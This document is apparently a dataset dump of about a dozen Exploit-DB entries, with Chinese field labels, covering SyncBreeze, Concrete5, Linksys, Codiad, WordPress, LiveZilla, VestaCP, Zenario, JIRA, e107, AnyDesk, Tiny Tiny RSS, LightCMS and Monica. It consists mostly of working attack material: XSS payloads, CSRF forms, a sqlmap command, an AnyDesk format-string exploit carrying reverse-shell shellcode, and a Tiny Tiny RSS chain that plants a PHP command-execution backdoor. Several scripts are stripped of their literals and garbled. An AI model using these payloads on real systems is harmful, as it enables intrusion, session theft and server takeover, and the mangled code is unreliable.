QLWD/code_shield huggingface dataset:
标题: SyncBreeze 10.1.16 - XML Parsing Stack-based Buffer Overflow EDB-ID: 49725 CVE: 2017-15950 类型: WEBAPPS 平台: WINDOWS 发布日期: 2021-03-29 漏洞利用脚本: # Exploit Title: SyncBreeze 10.1.16 - XML Parsing Stack-based Buffer Overflow
# Date: 03/27/2021
# Author: Filipe Oliveira - filipecenturiao[at]hotmail.com Rafael Machado  - nnszs[at]protonmail.com
# Vendor: https://www.syncbreeze.com/
# Software Link: https://www.4shared.com/file/57pE4sZfiq/syncbreeze_setup_v10116.html
# Version: SyncBreeze v10.1.16 x86
# Tested on: Windows 10 x64 (19042.867)
# CVE: CVE-2017-15950

Usage: The exploit will generate a POC file, called xplSyncBreeze.xml. Launch the application and click on Import Command, then load the POC file. 

# -*- coding: utf-8 -*-
    
 struct























shellcode   b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b



basura  structpack   


GAD1  structpack  
GAD2  structpack  


basura2  structpack   



padding  structpack   
padding2  structpack   




pivot  structpack 



fruta  basura  pivot  padding  padding2  GAD1  GAD2  basura2  shellcode




payload   
payloadwriteencode

payloadwriteencode
payloadwritefruta
payloadwriteencode

payloadclose URL: https://www.exploit-db.com/exploits/49725
标题: Concrete5 8.5.4 - 'name' Stored XSS EDB-ID: 49721 CVE: 2021-3111 类型: WEBAPPS 平台: PHP 发布日期: 2021-03-29 漏洞利用脚本: # Exploit Title: Concrete5 8.5.4 - 'name' Stored XSS
# Date: 2021-01 
# Exploit Author: Quadron Research Lab
# Version: Concrete5 8.5.4 
# Tested on: Windows 10 x64 HUN/ENG Professional
# Vendor: Concrete5 CMS (https://www.concrete5.org)
# CVE: CVE-2021-3111

[Suggested description]
The Express Entries Dashboard inConcrete5 8.5.4 allows stored XSS via the name field of a new data object at anindex.php/dashboard/express/entries/view/ URI.

[Attack Vectors]
Creating a new data object, the name field is not filtered.  It is possible to place JavaScript code. [Stored XSS]

Proof of Concept
https://github.com/Quadron-Research-Lab/CVE/blob/main/CVE-2021-3111.pdf URL: https://www.exploit-db.com/exploits/49721
标题: Linksys EA7500 2.0.8.194281 - Cross-Site Scripting EDB-ID: 49708 CVE: 2012-6708 类型: WEBAPPS 平台: HARDWARE 发布日期: 2021-03-25 漏洞利用脚本: # Exploit Title: Linksys EA7500 2.0.8.194281 - Cross-Site Scripting 
# Date: 3/24/21
# Exploit Author: MiningOmerta
# Vendor Homepage: https://www.linksys.com/
# Version: EA7500 Firmware Version: 2.0.8.194281
# CVE: CVE-2012-6708
# Tested On: Linksys EA7500 (jQuery version 1.7.1)

# Cross-Site Scripting Vulnerability on modern versions of Linksys Smart-Wifi home routers. 
# Caused by outdated jQuery(strInput) version : <= 1.7.1  (Fixed in version 1.9.0)
# Credit also to Reddit user michael1026

###
POC
###

1. When logging into the router (http://LHOST or http://LHOST:10080), choose "Click Here" 
   next to "Dont Have an Account? " or Choose "click here" after "To login with your Linksys Smart Wi-Fi account", 
   you will be redirected with a login prompt with both Email Address and Password forms. 

2. Make your email address "<img src=0 onerror=alert(XSS)>" without the double quotes. 

3. Payload will be triggered when mouse is clicked anywhere within the Email Address form box or when form is submitted. URL: https://www.exploit-db.com/exploits/49708
标题: Codiad 2.8.4 - Remote Code Execution (Authenticated) EDB-ID: 49705 CVE: 2018-14009 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-03-23 漏洞利用脚本: # Exploit Title: Codiad 2.8.4 - Remote Code Execution (Authenticated)
# Discovery by: WangYihang
# Vendor Homepage: http://codiad.com/
# Software Links : https://github.com/Codiad/Codiad/releases
# Tested Version: Version: 2.8.4
# CVE: CVE-2018-14009


#!/usr/bin/env python
# encoding: utf-8
import requests
import sys
import json
import base64
session = requests.Session()
def login(domain, username, password):
     session
    url  domain  
    data  
         username
         password
         
         
    
    response  sessionposturl datadata verify
    content  responsetext
      content
       content
         
 domain
     session
    url  domain  
    response  sessiongeturl verify
    content  responsetext
      content
    json_obj  jsonloadscontent
     json_obj  
         json_obj
    
         
 host port
    payload  
    result  
     i  payloadreplace hostreplace port
        result  i  
     base64b64encoderesultencodedecodereplace 
 host port
    preffix  
     preffix  base64_encode_2_byteshost portreplace 
 domain username password host port path platform
     session
    url  domain  \
          
            path
     platformlowerstartswith
        
        
        
        payload    build_powershell_payloadhost port
        payload    payload
        headers  
             
        response  sessionposturl datapayload headersheaders verify
        content  responsetext
        content
        
        payload    build_powershell_payloadhost port
        payload    payload
        headers  
             
        response  sessionposturl datapayload headersheaders verify
        content  responsetext
        content
    
        
        payload    host port
        payload    payload
        headers  
             
        response  sessionposturl datapayload headersheaders verify
        content  responsetext
        content
 hint
    hint
     
        ans  lower
         ans  
             
         ans  
             
        
            
 
     sysargv  
        
          sysargv
          sysargv
        
          sysargv
          sysargv
        
        
        exit
    domain  sysargv
    username  sysargv
    password  sysargv
    host  sysargv
    port  sysargv
    platform  sysargv
     platformlowerstartswith
        
          port
          promote_yes
            exit
    
        
          host port   port
          port  
          promote_yes
            exit
    
      logindomain username password
        
        exit
    
    
    path  get_write_able_pathdomain
     path  
        
        exit
      path
    
    exploitdomain username password host port path platform
    
    
 __name__  
    main URL: https://www.exploit-db.com/exploits/49705
标题: WordPress Plugin Delightful Downloads Jquery File Tree 1.6.6 - Path Traversal EDB-ID: 49693 CVE: 2017-1000170 类型: WEBAPPS 平台: PHP 发布日期: 2021-03-22 漏洞利用脚本: # Exploit Title: WordPress Plugin Delightful Downloads Jquery File Tree 1.6.6 - Path Traversal
# Date: 19/03/2021
# Exploit Author: Nicholas Ferreira
# Vendor Homepage: https://github.com/A5hleyRich/delightful-downloads
# Version: <=1.6.6
# Tested on: Debian 11
# CVE : CVE-2017-1000170
# PHP version (exploit): 7.3.27
# POC: curl --data "dir=/etc/" http://example.com/wp-content/plugins/delightful-downloads/assets/vendor/jqueryFileTree/connectors/jqueryFileTree.php

<?php

   

  













































































     
     
      
      
      
      
      
     
 
 
    
 

      
    
     


  
    
        
         
      
        
       
      
    
          
        
  
   



  
  
  
  
   
   
   
           

      

   
  
     
        
            
           
    
      
         
               
        
          
    
   
   
  

    
       
             
      
            
      
   
       
  
  
 



    
       
   
    fopen 
    
    
       
      exit
  
  
   
 
   





 
     

 
     

 
     

 
     


 
  









  
  
   

  
 


  

 



  

   
'randomagentuuurlurlrrecursivepppathpfffilterfiltert exist 
  you don't have permission to read it  it is in another directory\\   Done\" URL: https://www.exploit-db.com/exploits/49693
标题: LiveZilla Server 8.0.1.0 - 'Accept-Language' Reflected XSS EDB-ID: 49669 CVE: 2019-12962 类型: WEBAPPS 平台: PHP 发布日期: 2021-03-19 漏洞利用脚本: # Exploit Title: LiveZilla Server 8.0.1.0 - 'Accept-Language' Reflected XSS
# Google Dork: inurl: inurl:/mobile/index.php intitle:LiveZilla
# Date: 18 Mars 2021
# Exploit Author: Clément Cruchet
# Vendor Homepage: https://www.livezilla.net
# Software Link: https://www.livezilla.net/downloads/en/
# Version: LiveZilla Server 8.0.1.0 and before
# Tested on: Windows/Linux
# CVE : CVE-2019-12962

GET /mobile/index.php HTTP/1.1
Host: chat.website.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: ';alert(document.cookie)//
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1 URL: https://www.exploit-db.com/exploits/49669
标题: VestaCP 0.9.8 - File Upload CSRF EDB-ID: 49659 CVE: 2021-28379 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-03-17 漏洞利用脚本: # Exploit Title: VestaCP 0.9.8 - File Upload CSRF
# Exploit Author: Fady Othman 
# Date: 16-03-2021
# Vendor Homepage: https://vestacp.com/
# Software Link: https://github.com/myvesta/vesta
# Version: Vesta Control Panel (aka VestaCP) through 0.9.8-27 and myVesta through 0.9.8-26-39
# CVE ID: CVE-2021-28379
# Patch: https://github.com/myvesta/vesta/commit/3402071e950e76b79fa8672a1e09b70d3860f355

## Description
I found that the checks performed by the upload functionality are insufficient, the upload functionality is vulnerable to CSRF, in addition it allows uploading files and creating folders under "/tmp" and under the home folder (usually "/home/admin"), the later is the one that is important for this exploit to work.

I was able to use this to create a ".ssh" folder in the admin home and upload "authorized_keys" file which allowed me to access the server later as "admin" using SSH.

Since this relies on a *CSRF* the admin has to visit a link, please note that *sshd* is already installed by *VestaCP* when using the default installation script so no need to install it, also please note that files can be replaced so even if the admin has already added "authorized_keys" file, it will be replaced with the attacker's file.

Affected endpoint: "/upload/index.php", i.e. "/upload/index.php?dir=/home/admin/.ssh/"

## Steps to reproduce.
1. Install the latest version of VestaCP in your machine by following the instructions at https://vestacp.com/install/.
2. Login as the admin in Firefox, then open "exploit.html".
3. ssh into the machine using 'ssh -i id_rsa admin@victimmachine', now you have access as admin.

# exploit.html URL: https://www.exploit-db.com/exploits/49659
标题: Zenario CMS 8.8.53370 - 'id' Blind SQL Injection EDB-ID: 49642 CVE: 2021-26830 类型: WEBAPPS 平台: PHP 发布日期: 2021-03-15 漏洞利用脚本: # Exploit Title: Zenario CMS 8.8.53370 - 'id' Blind SQL Injection 
# Date: 05/02/2021
# Exploit Author: Balaji Ayyasamy
# Vendor Homepage: https://zenar.io/
# Software Link: https://github.com/TribalSystems/Zenario/releases/tag/8.8
# Version: 8.8.53370
# Tested on: Windows 10 Pro 19041 (x64_86) + XAMPP 7.4.14
# CVE: CVE-2021-26830
# Reference - https://edhunter484.medium.com/blind-sql-injection-on-zenario-cms-b58b6820c32d

Step 1 - Login to the zenario cms with admin credentials.
Step 2 - Go to modules and select plugin library.
Step 3 - Select any plugin and press delete button. Copy the delete request and send it to the sqlmap.

Command - sqlmap -r request.txt -p id URL: https://www.exploit-db.com/exploits/49642
标题: Atlassian JIRA 8.11.1 - User Enumeration EDB-ID: 49633 CVE: 2020-14181 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-03-10 漏洞利用脚本: # Title: Atlassian JIRA 8.11.1 - User Enumeration
# Author: Dolev Farhi
# Vulnerable versions: version < 7.13.16,  8.0.0 ≤ version < 8.5.7, 8.6.0 ≤ version < 8.12.0
# CVE: CVE-2020-14181
# Credit to original CVE author: Mikhail Klyuchnikov of Positive Technologies.

import sys
import os
import requests

def help():
    print('python3 script.py <target> <usernames_file>')
    print('e.g. python3 script.py https://jiratarget.com usernames.txt')
    sys.exit()

if len(sys.argv) < 3:
  help()

server = sys.argv[1]
usernames = sys.argv[2]

random_user = '0x00001'

try:
  os.path.exists(usernames)
except:
  print(usernames, 'file does not exist.')
  sys.exit(1)

def test_vulnerable():
  resp = requests.get('{}/secure/ViewUserHover.jspa?username={}'.format(server, username))
  if 'User does not exist: {}'.format(random_user) in resp.text:
    return True
  return False

if test_vulnerable is False:
  print('server is not vulnerable.')
  sys.exit(1)

f = open(usernames, 'r').read()

for username in f.splitlines():
  resp = requests.get('{}/secure/ViewUserHover.jspa?username={}'.format(server, username))
  if 'User does not exist' not in resp.text:
    print('EXISTS', username) URL: https://www.exploit-db.com/exploits/49633
标题: e107 CMS 2.3.0 - CSRF EDB-ID: 49614 CVE: 2021-27885 类型: WEBAPPS 平台: PHP 发布日期: 2021-03-04 漏洞利用脚本: # Exploit Title: e107 CMS 2.3.0 - CSRF
# Date: 04/03/2021
# Exploit Author: Tadjmen
# Vendor Homepage: https://e107.org
# Software Link: https://e107.org/download
# Version: 2.3.0
# Tested on: Windows 10
# CVE : CVE-2021-27885

CSRF vulnerability on e107 CMS

## Bug Description
Hi. I found a CSRF on the e107 CMS. Hacker can change password any user click the link.

## How to Reproduce
Steps to reproduce the behavior:
1. Create a CSRF login POC using the following code.

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
<head>
<title>Cross Site Request Forgery (Edit Existing Admin details)</title>
</head>

<body onload="javascript:fireForms()">
<script language="JavaScript">

function fireForms()
{
    var count = 2;
    var i=0;

    for(i=0; i<count; i++)
    {
        document.forms[i].submit();
    }
}

</script>

<H2>Cross Site Request Forgery (Edit Existing Admin details)</H2>

<form method="POST" name="form0" action="
http://localhost/[path-to-e107-cms]/usersettings.php">

<input type="hidden" name="loginname" value="admin"/>
<input type="hidden" name="email" value="[email]"/>
<input type="hidden" name="password1" value="[password]"/>
<input type="hidden" name="password2" value="[password]"/>
<input type="hidden" name="hideemail" value="1"/>
<input type="hidden" name="image" value=""/>
<input type="hidden" name="signature" value=""/>
<input type="hidden" name="updatesettings" value="Save settings"/>
<input type="hidden" name="_uid" value="2"/>




</form>

</body>
</html>
```


2. Replace the email and password with the valid credentials.
3. Send the link script to the victim (admin) to make them click.
4. Login with new admin password URL: https://www.exploit-db.com/exploits/49614
标题: AnyDesk 5.5.2 - Remote Code Execution EDB-ID: 49613 CVE: 2020-13160 类型: REMOTE 平台: LINUX 发布日期: 2021-03-03 漏洞利用脚本: # Exploit Title: AnyDesk 5.5.2 - Remote Code Execution
# Date: 09/06/20
# Exploit Author: scryh
# Vendor Homepage: https://anydesk.com/en
# Version: 5.5.2
# Tested on: Linux
# Walkthrough: https://devel0pment.de/?p=1881

#!/usr/bin/env python
import struct
import socket
import sys

ip = '192.168.x.x'
port = 50001

def gen_discover_packet(ad_id, os, hn, user, inf, func):
  d  = chr(0x3e)+chr(0xd1)+chr(0x1)
  d += struct.pack('>I', ad_id)
  d += struct.pack('>I', 0)
  d += chr(0x2)+chr(os)
  d += struct.pack('>I', len(hn)) + hn
  d += struct.pack('>I', len(user)) + user
  d += struct.pack('>I', 0)
  d += struct.pack('>I', len(inf)) + inf
  d += chr(0)
  d += struct.pack('>I', len(func)) + func
  d += chr(0x2)+chr(0xc3)+chr(0x51)
  return d

# msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.y.y LPORT=4444 -b "\x00\x25\x26" -f python -v shellcode
shellcode =  b""
shellcode += b"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48"
shellcode += b"\x8d\x05\xef\xff\xff\xff\x48\xbb\xcb\x46\x40"
shellcode += b"\x6c\xed\xa4\xe0\xfb\x48\x31\x58\x27\x48\x2d"
shellcode += b"\xf8\xff\xff\xff\xe2\xf4\xa1\x6f\x18\xf5\x87"
shellcode += b"\xa6\xbf\x91\xca\x18\x4f\x69\xa5\x33\xa8\x42"
shellcode += b"\xc9\x46\x41\xd1\x2d\x0c\x96\xf8\x9a\x0e\xc9"
shellcode += b"\x8a\x87\xb4\xba\x91\xe1\x1e\x4f\x69\x87\xa7"
shellcode += b"\xbe\xb3\x34\x88\x2a\x4d\xb5\xab\xe5\x8e\x3d"
shellcode += b"\x2c\x7b\x34\x74\xec\x5b\xd4\xa9\x2f\x2e\x43"
shellcode += b"\x9e\xcc\xe0\xa8\x83\xcf\xa7\x3e\xba\xec\x69"
shellcode += b"\x1d\xc4\x43\x40\x6c\xed\xa4\xe0\xfb"

print('sending payload ...')
p = gen_discover_packet(4919, 1, '\x85\xfe%1$*1$x%18x%165$ln'+shellcode, '\x85\xfe%18472249x%93$ln', 'ad', 'main')
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(p, (ip, port))
s.close()
print('reverse shell should connect within 5 seconds') URL: https://www.exploit-db.com/exploits/49613
标题: Tiny Tiny RSS - Remote Code Execution EDB-ID: 49606 CVE: 2020-25787 类型: WEBAPPS 平台: PHP 发布日期: 2021-03-02 漏洞利用脚本: # Exploit Title: Tiny Tiny RSS - Remote Code Execution
# Date: 21/09/2020
# Exploit Author: Daniel Neagaru & Benjamin Nadarević
# Blog post: https://www.digeex.de/blog/tinytinyrss/
# Software Link: https://git.tt-rss.org/fox/tt-rss
# Version: all before 2020-09-16
# Commit with the fixes: https://git.tt-rss.org/fox/tt-rss/commit/c3d14e1fa54c7dade7b1b7955575e2991396d7ef
# Tested on: default docker installation method
# CVE : CVE-2020-25787

#!/usr/bin/env python3

from sys import argv
import urllib.parse as ul
import base64


def CustomFcgi( filename, output, backdoor):
    length=len(output)+len(backdoor)+64
    char=chr(length)

    data = "\x0f\x10SERVER_SOFTWAREgo / fcgiclient \x0b\tREMOTE_ADDR127.0.0.1\x0f\x08SERVER_PROTOCOLHTTP/1.1\x0e" + chr(len(str(length)))
    data += "CONTENT_LENGTH" + str(length) +  "\x0e\x04REQUEST_METHODPOST\tKPHP_VALUEallow_url_include = On\n"
    data += "disable_functions = \nauto_prepend_file = php://input\x0f" + chr(len(filename)) +"SCRIPT_FILENAME" + filename + "\r\x01DOCUMENT_ROOT/"

    temp1 = chr(len(data) // 256)
    temp2 = chr(len(data) % 256)
    temp3 = chr(len(data) % 8)

    end = str("\x00"*(len(data)%8)) + "\x01\x04\x00\x01\x00\x00\x00\x00\x01\x05\x00\x01\x00" + char + "\x04\x00"
    end += "<?php file_put_contents('" + output + "',base64_decode("+ "'"+str(backdoor.decode('ascii'))+"')"+");die('executed');?>\x00\x00\x00\x00"
    start = "\x01\x01\x00\x01\x00\x08\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\x04\x00\x01" + temp1 + temp2 + temp3 + "\x00"

    payload = start + data + end
    def get_payload(payload):
        finalpayload = ul.quote_plus(payload, encoding="latin-1").replace("+","%20").replace("%2F","/")
        return finalpayload

    return "gopher://localhost:9000/_"+get_payload(get_payload(payload))



TTRSS_PATH = "/var/www/html/tt-rss/"
BACKDOOR_CODE = """
<?php
echo "success\n";
echo system($_GET['cmd']);
?>
"""


feed_file = open("malicious_RCE_feed.xml",'w')
filename = TTRSS_PATH + "config.php"
output = TTRSS_PATH + "backdoor.php"

backdoor_code = base64.b64encode(BACKDOOR_CODE.encode("ascii"))
rce = "public.php?op=pluginhandler&plugin=af_proxy_http&pmethod=imgproxy&url=" + CustomFcgi(filename, output, backdoor_code) + "&text"

feed ="""<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">

<channel>
  <title>Exploit demo - rce</title>
  <link></link>
  <description>You are getting infected :(</description>
  <item>
    <title> Check if there is backdoor.php</title>
    <link><![CDATA[backdoor.php?cmd=id&bypass_filter=://]]></link>
    <description>
    <![CDATA[
        Dummy text

        <img src="{}">

    ]]>
</description>
  </item>
</channel>
</rss>
""".format(rce)

feed_file.write(feed)
feed_file.close() URL: https://www.exploit-db.com/exploits/49606
标题: LightCMS 1.3.4 - 'exclusive' Stored XSS EDB-ID: 49598 CVE: 2021-3355 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-02-26 漏洞利用脚本: # Exploit Title: LightCMS 1.3.4 - 'exclusive' Stored XSS
# Date: 25/02/2021
# Exploit Author: Peithon
# Vendor Homepage: https://github.com/eddy8/LightCMS
# Software Link: https://github.com/eddy8/LightCMS/releases/tag/v1.3.4
# Version: 1.3.4
# Tested on: latest version of Chrome, Firefox on Windows and Linux
# CVE: CVE-2021-3355

An issue was discovered in LightCMS v1.3.4.(https://github.com/eddy8/LightCMS/issues/18) There is a stored-self XSS, allowing an attacker to execute HTML or JavaScript code in a vulnerable Title field to /admin/SensitiveWords.

--------------------------Proof of Concept-----------------------

1. Log in to the background.

2. Navigate to System -> `/admin/SensitiveWords/create` & add the below-shared payload as the exclusive field value. Payload - </span><img src=1 onerror=alert(1) /><span>

3. Visit page `/admin/SensitiveWords`, the payload will be triggered. URL: https://www.exploit-db.com/exploits/49598
标题: Monica 2.19.1 - 'last_name' Stored XSS EDB-ID: 49582 CVE: 2021-27370 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-02-23 漏洞利用脚本: # Exploit Title: Monica 2.19.1 - 'last_name' Stored XSS
# Date: 22-02-2021
# Exploit Author: BouSalman
# Vendor Homepage: https://www.monicahq.com/
# Software Link: https://github.com/monicahq/monica/releases
# Version: Monica 2.19.1
# Tested on: Ubuntu 18.04
# CVE : CVE-2021-27370

POST /people HTTP/1.1
Host: 192.168.99.162
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 199
Origin: http://192.168.99.162
Connection: close
Referer: http://192.168.99.162/people/add
Cookie: remember_web_59ba36addc2b2f9401580f014c7f58ea4e30989d=eyJpdiI6IjZBQ21CelczS1ZxS1dmMkNxWFBqN1E9PSIsInZhbHVlIjoiME01aDNSS2FHQ1lZdS9KSVlSL1pKdC9qcHRWRDVveWFvb0ZkUFB4cFlaSDhEclB3SG9UQ3BISzVoWFdYQUYrVkdpUVNkRUNlbUxFOTEyOC9Vb1ZaWFZTblpGOWlRVW9PR0FmSVhyL3JwUmgweU9hODlJWU5vNmQ3aDcrT084MjBoQU5Ednh0TWJ6dmxwS2NadFovMEdveko1V0RvbThXT2Jram1JVW5LcXdqUzl4alVBRDFBYXNjSEt3amRxbVFvQ3pMMGJZU2owWTZzWVp1ZURTNUtoRUlJMnVrV3NiVHRNRTU5YysvLzl2Zz0iLCJtYWMiOiI5MTc2NDAwZTY4NjVmZDg3NjM1YjY3NDRiMzFhMmRiYzIwMjFhODU4YWQyOWUwZmQzOTBlY2Y1ZTI0ODdiNzVkIn0%3D; laravel_token=eyJpdiI6InIwQ2RlQW9FRG5lanlOZmlXWXBRVEE9PSIsInZhbHVlIjoiUHhPNmZneXUydGVCZHlVMEI5cHpiTWI2OE5qajN5UVJXUmJHSFV1VGgya2NEbEJ6T3N0QVhKeUZwU0R4a05HWTgwNTNidTk4aGNXc3UzejY4WDJnaUJ0VUp1ekQ5cjVDc0hLSWpGTzc1ZWRRQ05Yem0vK3RZdEpOVHNQeE4rQ1orbXNJTXhWczJnMENYeGp6Q3NnOGU5TXhpZDd1bS9wRlBZS0xsYmpLSXJiMHhSVmU2NnBUMjdYS1RTQmJrNkU4cWNtZGJVdjFpaXp5a2YzdVZsWWxQMjBicDQxUGFjZlhGbmhCOHl2MkVXdzRoalNtbE9xL010clpZMGJNVmVQNWUzQlpsRFVKamlWQ2Jydk9sZWg3cHNKWVIvRW92alp0YURJcllXa08rTjA4Y2lvVzNHTXBrem11Q21xaW92cEwiLCJtYWMiOiI1YjM5NzViODhjNTk5MWUzNWFjZDg0ZWZmNjk1NjE3MzhhN2M0NGFjNWE3MzMyMGFhNTI2ZjgxMjE4OTRjZDg4In0%3D; XSRF-TOKEN=eyJpdiI6IkZFY1FLVEJFRXJMOWh6Vll1SW51akE9PSIsInZhbHVlIjoiRTVLRFZnOEovNk9XeFB2bXFQZnFlM0FxRU9QMVRxaHRhS3RzOHNpWm45K0xXV1FsbWhzV0RxUWd6bStxVXFBTHF1WlkrSklnSXoxbkFXK1JNcURhUHp6eTFOUHdLclFkTTEvUFhtTDgzVHA2RElFNnVuOWVyRGxCSGJmdzhJOXciLCJtYWMiOiIxOWNlMjkxMjM5ZTlmMDFiZjhiM2VlZjZjZmNmMmFmZDA4MzcyZjc3Yzg2MmQ2MWIwNTY2OTZlNjQyZDkzMjA0In0%3D; laravel_session=eyJpdiI6InBtUThtUFE1RzdvbW40ay8wdWJraXc9PSIsInZhbHVlIjoiS1hoVlJoNzFrYlpBUGRTL2V0YzVDRlR6dHl6NE12NjFxVTEvbXQwYTJnRUwyY3VQc2hOeWlkbUdyeEx5aDBnYlJER1BnbW52RXR0QWs1ZG00eWg0U2JNb3dIRTQ0aU9HK0JnTzE5eXQwUGlzbDNsbVFVa3RabWVQVzF4OXJsUTMiLCJtYWMiOiI3YmQwZDFkYjAwMzdlZTllODAzYjZmNzQ2YWI5NTMzMDY0ZWIzMWIyOWI4MjM4ODMzMDdhNjc2YTE4ZDViZDg0In0%3D
Upgrade-Insecure-Requests: 1

_token=afJRD6VqgCxIze3tGcCqzyeb3YaFka3fvjqV9YOx&first_name=XSS+POC&middle_name=&last_name=%7B%7B+constructor.constructor%28%22alert%28document.cookie%29%22%29%28%29+%7D%7D&nickname=&gender=&save=true URL: https://www.exploit-db.com/exploits/49582